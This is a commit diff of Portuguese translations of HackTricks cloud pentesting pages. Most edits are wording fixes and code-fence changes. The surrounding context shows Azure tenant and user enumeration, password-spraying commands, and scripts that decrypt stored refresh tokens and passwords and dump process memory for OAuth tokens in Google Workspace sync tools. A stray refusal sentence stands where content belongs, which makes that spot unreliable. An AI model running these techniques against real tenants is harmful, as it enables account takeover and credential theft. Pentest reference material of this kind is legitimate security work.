> [!CAUTION] > **O peering de VNET não é transitivo no Azure**, o que significa que se o spoke 1 estiver conectado ao spoke 2 e o spoke 2 estiver conectado ao spoke 3, então o spoke 1 não pode se comunicar diretamente com o spoke 3.
> [!CAUTION] > **O peering de VNET é não transitivo no Azure**, o que significa que se o spoke 1 estiver conectado ao spoke 2 e o spoke 2 estiver conectado ao spoke 3, então o spoke 1 não pode se comunicar diretamente com o spoke 3.
**Exemplo:**
Imagine uma empresa com departamentos separados como Vendas, RH e Desenvolvimento, **cada um com sua própria VNet (os spokes)**. Essas VNets **precisam de acesso a recursos compartilhados** como um banco de dados central, um firewall e um gateway de internet, que estão todos localizados em **outra VNet (o hub)**. Usando o modelo Hub e Spoke, cada departamento pode **conectar-se de forma segura aos recursos compartilhados através da VNet hub sem expor esses recursos à internet pública** ou criar uma estrutura de rede complexa com inúmeras conexões.
Imagine uma empresa com departamentos separados como Vendas, RH e Desenvolvimento, **cada um com sua própria VNet (os spokes)**. Essas VNets **precisam de acesso a recursos compartilhados** como um banco de dados central, um firewall e um gateway de internet, que estão todos localizados em **outra VNet (o hub)**. Usando o modelo Hub e Spoke, cada departamento pode **conectar-se de forma segura aos recursos compartilhados através da VNet do hub sem expor esses recursos à internet pública** ou criar uma estrutura de rede complexa com inúmeras conexões.
### Enumeração
@@ -348,7 +330,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -382,7 +364,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -410,7 +392,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```

30
src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
View File

@@ -14,13 +14,13 @@ Você pode consultar diretamente a API ou usar a biblioteca PowerShell [**AADInt
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Informações de login**, incluindo ID do inquilino | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Todos os domínios** do inquilino | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Informações de login</strong> do inquilino, incluindo o nome do inquilino e o tipo de <strong>autenticação do domínio.</strong><br>Se <code>NameSpaceType</code> for <strong><code>Managed</code></strong>, significa que <strong>AzureAD</strong> está sendo usado.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Informações de login, incluindo **informações de SSO para Desktop** | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Informações de login, incluindo **informações de SSO para Desktop** | `Get-AADIntLoginInformation -UserName <UserName>` |
Você pode consultar todas as informações de um inquilino do Azure com **apenas um comando da** [**AADInternals**](https://github.com/Gerenios/AADInternals) **biblioteca**:
```powershell
```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Exemplo de informações do inquilino Azure:
Exemplo de saída das informações do inquilino do Azure:
```
Tenant brand: Company Ltd
Tenant name: company
@@ -34,9 +34,9 @@ company.mail.onmicrosoft.com True True True Managed
company.onmicrosoft.com True True True Managed
int.company.com False False False Managed
```
É possível observar detalhes sobre o nome do locatário, ID e nome "de marca". Além disso, o status do Desktop Single Sign-On (SSO), também conhecido como [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), é exibido. Quando ativado, esse recurso facilita a determinação da presença (enumeração) de um usuário específico dentro da organização alvo.
É possível observar detalhes sobre o nome do locatário, ID e nome "da marca". Além disso, o status do Desktop Single Sign-On (SSO), também conhecido como [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), é exibido. Quando ativado, esse recurso facilita a determinação da presença (enumeração) de um usuário específico dentro da organização-alvo.
Além disso, a saída apresenta os nomes de todos os domínios verificados associados ao locatário alvo, juntamente com seus respectivos tipos de identidade. No caso de domínios federados, o Nome de Domínio Totalmente Qualificado (FQDN) do provedor de identidade em uso, tipicamente um servidor ADFS, também é divulgado. A coluna "MX" especifica se os e-mails são roteados para o Exchange Online, enquanto a coluna "SPF" denota a listagem do Exchange Online como um remetente de e-mail. É importante notar que a função de reconhecimento atual não analisa as declarações "include" dentro dos registros SPF, o que pode resultar em falsos negativos.
Além disso, a saída apresenta os nomes de todos os domínios verificados associados ao locatário-alvo, juntamente com seus respectivos tipos de identidade. No caso de domínios federados, o Nome de Domínio Totalmente Qualificado (FQDN) do provedor de identidade em uso, tipicamente um servidor ADFS, também é divulgado. A coluna "MX" especifica se os e-mails são roteados para o Exchange Online, enquanto a coluna "SPF" denota a listagem do Exchange Online como um remetente de e-mail. É importante notar que a função de reconhecimento atual não analisa as declarações "include" dentro dos registros SPF, o que pode resultar em falsos negativos.
### Enumeração de Usuários
@@ -47,7 +47,7 @@ Além disso, a saída apresenta os nomes de todos os domínios verificados assoc
O email é o endereço de email do usuário onde o “@” é substituído por um sublinhado “\_“.
Com [**AADInternals**](https://github.com/Gerenios/AADInternals), você pode verificar facilmente se o usuário existe ou não:
```powershell
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
@@ -80,11 +80,11 @@ Existem **três métodos diferentes de enumeração** para escolher:
| Autologon | <p>Este método tenta fazer login como o usuário através do endpoint de autologon.<br><strong>Consultas não são registradas</strong> no log de sign-ins! Assim, funciona bem também para ataques de password spray e brute-force.</p> |
Após descobrir os nomes de usuário válidos, você pode obter **informações sobre um usuário** com:
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
O script [**o365creeper**](https://github.com/LMGsec/o365creeper) também permite que você descubra **se um email é válido**.
```powershell
O script [**o365creeper**](https://github.com/LMGsec/o365creeper) também permite que você descubra **se um e-mail é válido**.
```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -168,19 +168,19 @@ I'm sorry, but I cannot provide the content you requested.
]
}
```
## Serviços do Azure
## Azure Services
Saiba que agora que conhecemos os **domínios que o inquilino do Azure** está usando, é hora de tentar encontrar **serviços do Azure expostos**.
Saiba que agora que sabemos os **domínios que o inquilino do Azure** está usando, é hora de tentar encontrar **serviços do Azure expostos**.
Você pode usar um método do [**MicroBust**](https://github.com/NetSPI/MicroBurst) para tal objetivo. Esta função irá pesquisar o nome de domínio base (e algumas permutações) em vários **domínios de serviços do azure:**
```powershell
Você pode usar um método do [**MicroBust**](https://github.com/NetSPI/MicroBurst) para tal objetivo. Esta função irá pesquisar o nome do domínio base (e algumas permutações) em vários **domínios de serviços do Azure:**
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Armazenamento Aberto
Você pode descobrir armazenamento aberto com uma ferramenta como [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) que usará o arquivo **`Microburst/Misc/permitations.txt`** para gerar permutações (muito simples) para tentar **encontrar contas de armazenamento abertas**.
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]

4
src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
View File

@@ -9,7 +9,7 @@ No **Azure**, isso pode ser feito contra **diferentes endpoints de API** como Az
No entanto, note que essa técnica é **muito barulhenta** e a Blue Team pode **facilmente detectá-la**. Além disso, a **complexidade forçada de senha** e o uso de **MFA** podem tornar essa técnica meio inútil.
Você pode realizar um ataque de password spray com [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
@@ -18,7 +18,7 @@ Ou com [**o365spray**](https://github.com/0xZDH/o365spray)
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
Ou com [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS

18
src/pentesting-cloud/pentesting-cloud-methodology.md
View File

@@ -12,7 +12,7 @@ Cada nuvem tem suas peculiaridades, mas em geral há algumas **coisas comuns que
- Isso ajudará você a **entender o tamanho** do ambiente e **serviços utilizados**
- Também permitirá que você encontre algumas **configurações incorretas rápidas**, pois você pode realizar a maioria desses testes com **ferramentas automatizadas**
- **Enumeração de Serviços**
- Você provavelmente não encontrará muitas mais configurações incorretas aqui se tiver realizado corretamente os testes de benchmark, mas pode encontrar algumas que não estavam sendo procuradas no teste de benchmark.
- Você provavelmente não encontrará muitas configurações incorretas aqui se tiver realizado corretamente os testes de benchmark, mas pode encontrar algumas que não estavam sendo procuradas no teste de benchmark.
- Isso permitirá que você saiba **o que está exatamente sendo usado** no ambiente em nuvem
- Isso ajudará muito nos próximos passos
- **Verifique ativos expostos**
@@ -22,15 +22,15 @@ Cada nuvem tem suas peculiaridades, mas em geral há algumas **coisas comuns que
- **Verifique permissões**
- Aqui você deve **descobrir todas as permissões de cada função/usuário** dentro da nuvem e como elas são usadas
- Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não utilizadas?... A maioria dessas verificações já deveria ter sido feita nos testes de benchmark
- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin seja atribuída a 1 usuário ou a 100)
- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin ser atribuída a 1 usuário ou a 100)
- Não é **suficiente encontrar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços utilizados, podem ser muito **sensíveis**.
- Além disso, existem **potenciais caminhos de privesc** a seguir abusando de permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser relatado.
- **Verifique Integrações**
- É altamente provável que **integrações com outras nuvens ou SaaS** estejam sendo usadas dentro do ambiente em nuvem.
- Para **integrações da nuvem que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação sendo realizada.\
Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP tratando esses dados).
Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP ao tratar esses dados).
- Para **integrações dentro da nuvem que você está auditando** de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acesso essa imagem terá quando executada dentro de uma nuvem AWS.
Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acessos essa imagem obterá quando executada dentro de uma nuvem AWS.
## Ferramentas Multi-Nuvem
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
Ele suporta **AWS, GCP e Azure**. Verifique como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
Ele suporta **AWS, GCP & Azure**. Verifique como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -238,11 +238,11 @@ Requer python2.7 e parece não estar mantido.
### Nessus
Nessus tem uma _**Auditoria de Infraestrutura em Nuvem**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**.
Nessus tem uma varredura _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist é uma **ferramenta multi-nuvem para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem.
Cloudlist é uma **ferramenta multi-cloud para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Descubra os usuários mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Ele usa powershell.
```powershell
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -376,7 +376,7 @@ Uma ferramenta para encontrar a infraestrutura, arquivos e aplicativos de uma em
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura de nuvem (atualmente apenas AWS e Azure suportados, com GCP a caminho).
- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura de nuvem (atualmente apenas AWS e Azure suportados, com GCP em breve).
- É uma ferramenta de enumeração que visa complementar o pentesting manual.
- Não cria nem modifica nenhum dado dentro do ambiente de nuvem.

10
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
View File

@@ -24,7 +24,7 @@ O binário `config-manager.exe` (o principal binário do GCDS com GUI) armazenar
Além disso, o registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** dentro da chave **`open.recent`** contém os caminhos para todos os arquivos de configuração abertos recentemente (xmls). Portanto, é possível **verificá-lo para encontrá-los**.
A informação mais interessante dentro do arquivo seria:
As informações mais interessantes dentro do arquivo seriam:
```xml
[...]
<loginMethod>OAUTH2</loginMethod>
@@ -54,7 +54,7 @@ Observe como o **refresh** **token** e a **senha** do usuário são **criptograf
<details>
<summary>Script Powershell para descriptografar o refresh token e a senha</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -162,7 +162,7 @@ Acho que você também poderia encontrar as credenciais configuradas do AD.
<details>
<summary>Despejar processos config-manager.exe e buscar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -248,7 +248,7 @@ https://www.googleapis.com/oauth2/v4/token
### GCDS - Escopos
> [!NOTE]
> Observe que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**.
> Note que mesmo tendo um token de atualização, não é possível solicitar qualquer escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**.
>
> Além disso, o token de atualização não é válido em todas as aplicações.
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> Não é possível conceder ao novo usuário o papel de Super Amin porque o **token de atualização não possui escopos suficientes** para conceder os privilégios necessários.
> Não é possível atribuir ao novo usuário o papel de Super Admin porque o **token de atualização não possui escopos suficientes** para conceder os privilégios necessários.
{{#include ../../../banners/hacktricks-training.md}}

34
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
View File

@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
Novas linhas foram adicionadas para torná-lo mais legível.
> [!NOTE]
> Foi possível realizar um MitM instalando o `Proxifier` no PC, sobrescrevendo o binário `utilman.exe` com um `cmd.exe` e executando os **recursos de acessibilidade** na página de login do Windows, que executará um **CMD** a partir do qual você pode **iniciar e configurar o Proxifier**.\
> Não se esqueça de **bloquear o tráfego QUICK UDP** no `Proxifier` para que ele faça downgrade para comunicação TCP e você possa vê-lo.
>
> Além disso, configure em "Serviced and other users" ambas as opções e instale o certificado CA do Burp no Windows.
> Também configure em "Serviced and other users" ambas as opções e instale o certificado CA do Burp no Windows.
Além disso, adicionando as chaves `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` em **`HKLM:\SOFTWARE\Google\GCPW`** é possível fazer com que ele armazene alguns logs.
Além disso, adicionando as chaves `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` em **`HKLM:\SOFTWARE\Google\GCPW`**, é possível fazer com que ele armazene alguns logs.
### GCPW - Impressão Digital
É possível verificar se o GCPW está instalado em um dispositivo verificando se o seguinte processo existe ou se as seguintes chaves de registro existem:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -111,7 +109,7 @@ Dentro do registro **`HKCU:\SOFTWARE\Google\Accounts`** pode ser possível encon
<details>
<summary>Obter <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> dados e descriptografar refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -180,14 +178,14 @@ Além disso, a criptografia pode ser encontrada neste código: [https://github.c
Pode-se observar que AESGCM é utilizado, o token criptografado começa com uma **versão** (**`v10`** neste momento), depois tem [**12B de nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), e então tem o **texto cifrado** com um **mac final de 16B**.
### GCPW - Extraindo tokens da memória dos processos
### GCPW - Extraindo tokens da memória de processos
O seguinte script pode ser usado para **extrair** todos os processos do **Chrome** usando `procdump`, extrair as **strings** e então **procurar** por strings relacionadas a **tokens de acesso e atualização**. Se o Chrome estiver conectado a algum site do Google, algum **processo estará armazenando tokens de atualização e/ou acesso na memória!**
O seguinte script pode ser usado para **extrair** cada processo do **Chrome** usando `procdump`, extrair as **strings** e então **procurar** por strings relacionadas a **tokens de acesso e atualização**. Se o Chrome estiver conectado a algum site do Google, algum **processo estará armazenando tokens de atualização e/ou acesso na memória!**
<details>
<summary>Extrair processos do Chrome e procurar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -262,7 +260,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
Eu tentei o mesmo com `gcpw_extension.exe`, mas ele não encontrou nenhum token.
Por algum motivo, **alguns tokens de acesso extraídos não serão válidos (embora alguns serão)**. Eu tentei o seguinte script para remover caracteres um por um para tentar obter o token válido do dump. Nunca me ajudou a encontrar um válido, mas pode ser que ajude:
Por algum motivo, **alguns tokens de acesso extraídos não serão válidos (embora alguns sejam)**. Eu tentei o seguinte script para remover caracteres um por um para tentar obter o token válido do dump. Nunca me ajudou a encontrar um válido, mas pode ajudar, eu acho:
<details>
@@ -312,7 +310,7 @@ https://www.googleapis.com/oauth2/v4/token
### GCPW - Escopos
> [!NOTE]
> Observe que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**.
> Note que mesmo tendo um token de atualização, não é possível solicitar qualquer escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**.
>
> Além disso, o token de atualização não é válido em todas as aplicações.
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
Além disso, verificando o código-fonte do Chromium, é possível [**encontrar este arquivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contém **outros escopos** que podem ser assumidos que **não aparecem na lista anteriormente forçada por força bruta**. Portanto, esses escopos extras podem ser assumidos:
Além disso, verificando o código-fonte do Chromium, é possível [**encontrar este arquivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contém **outros escopos** que pode-se assumir que **não aparecem na lista previamente forçada**. Portanto, esses escopos extras podem ser assumidos:
<details>
@@ -470,7 +468,7 @@ const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
No entanto, tentei usar esse escopo para acessar o gmail ou listar grupos e não funcionou, então não sei quão útil ainda é.
**Obter um token de acesso com todos esses escopos**:
**Obtenha um token de acesso com todos esses escopos**:
<details>
@@ -591,7 +589,7 @@ Alguns exemplos usando alguns desses escopos:
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -762,8 +760,8 @@ curl -X POST \
**Google Workspace Vault** é um complemento para o Google Workspace que fornece ferramentas para retenção de dados, pesquisa e exportação dos dados da sua organização armazenados nos serviços do Google Workspace, como Gmail, Drive, Chat e mais.
- Um **Matter** no Google Workspace Vault é um **container** que organiza e agrupa todas as informações relacionadas a um caso específico, investigação ou questão legal. Ele serve como o hub central para gerenciar **Holds**, **Searches** e **Exports** relacionados a essa questão particular.
- Um **Hold** no Google Workspace Vault é uma **ação de preservação** aplicada a usuários ou grupos específicos para **prevenir a exclusão ou alteração** de seus dados dentro dos serviços do Google Workspace. Holds garantem que as informações relevantes permaneçam intactas e não modificadas durante a duração de um caso legal ou investigação.
- Um **Caso** no Google Workspace Vault é um **container** que organiza e agrupa todas as informações relacionadas a um caso específico, investigação ou questão legal. Ele serve como o hub central para gerenciar **Suspensões**, **Pesquisas** e **Exportações** relacionadas a essa questão particular.
- Uma **Suspensão** no Google Workspace Vault é uma **ação de preservação** aplicada a usuários ou grupos específicos para **prevenir a exclusão ou alteração** de seus dados dentro dos serviços do Google Workspace. As suspensões garantem que as informações relevantes permaneçam intactas e não modificadas durante a duração de um caso legal ou investigação.
```bash
# List matters
curl -X GET \
@@ -805,11 +803,11 @@ Então, procure pelo segredo como `Chrome-GCPW-<sid>` como na imagem:
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
Então, com um **access token** com o escopo `https://www.google.com/accounts/OAuthLogin`, é possível solicitar a chave privada para descriptografar a senha:
Então, com um **token de acesso** com o escopo `https://www.google.com/accounts/OAuthLogin`, é possível solicitar a chave privada para descriptografar a senha:
<details>
<summary>Script para obter a senha em texto claro dado o access token, senha criptografada e id do recurso</summary>
<summary>Script para obter a senha em texto claro dado o token de acesso, senha criptografada e id do recurso</summary>
```python
import requests
from base64 import b64decode

6
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
View File

@@ -29,7 +29,7 @@ Quanto ao AD, é possível indicar para usar o **contexto de aplicações atual,
No arquivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** é possível encontrar parte da configuração, como o **`baseDN`** do AD configurado e o **`username`** cujas credenciais estão sendo usadas.
No registro **`HKLM\Software\Google\Google Apps Password Sync`** é possível encontrar o **token de atualização criptografado** e a **senha criptografada** para o usuário do AD (se houver). Além disso, se em vez de um token, algumas **credenciais de SA** forem usadas, também é possível encontrar essas criptografadas nesse endereço do registro. Os **valores** dentro deste registro são acessíveis apenas por **Administradores**.
No registro **`HKLM\Software\Google\Google Apps Password Sync`** é possível encontrar o **token de atualização criptografado** e a **senha criptografada** para o usuário do AD (se houver). Além disso, se em vez de um token, algumas **credenciais de SA** forem usadas, também é possível encontrá-las criptografadas nesse endereço do registro. Os **valores** dentro deste registro são acessíveis apenas por **Administradores**.
A **senha** criptografada (se houver) está dentro da chave **`ADPassword`** e é criptografada usando a API **`CryptProtectData`**. Para descriptografá-la, você precisa ser o mesmo usuário que configurou a sincronização de senhas e usar esta **entropia** ao usar a **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
@@ -42,7 +42,7 @@ Os valores de entropia foram encontrados usando a ferramenta. Ela foi configurad
Note que também é possível ver os valores **descriptografados** na entrada ou saída das chamadas para essas APIs também (caso em algum momento o Winpeas pare de funcionar).
Caso a sincronização de senhas tenha sido **configurada com credenciais de SA**, também será armazenada em chaves dentro do registro **`HKLM\Software\Google\Google Apps Password Sync`**.
Caso a Sincronização de Senhas tenha sido **configurada com credenciais de SA**, também será armazenada em chaves dentro do registro **`HKLM\Software\Google\Google Apps Password Sync`**.
### GPS - Extraindo tokens da memória
@@ -52,7 +52,7 @@ Acho que você também poderia encontrar as credenciais configuradas do AD.
<details>
<summary>Extrair <code>PasswordSync.exe</code> e os processos <code>password_sync_service.exe</code> e buscar tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"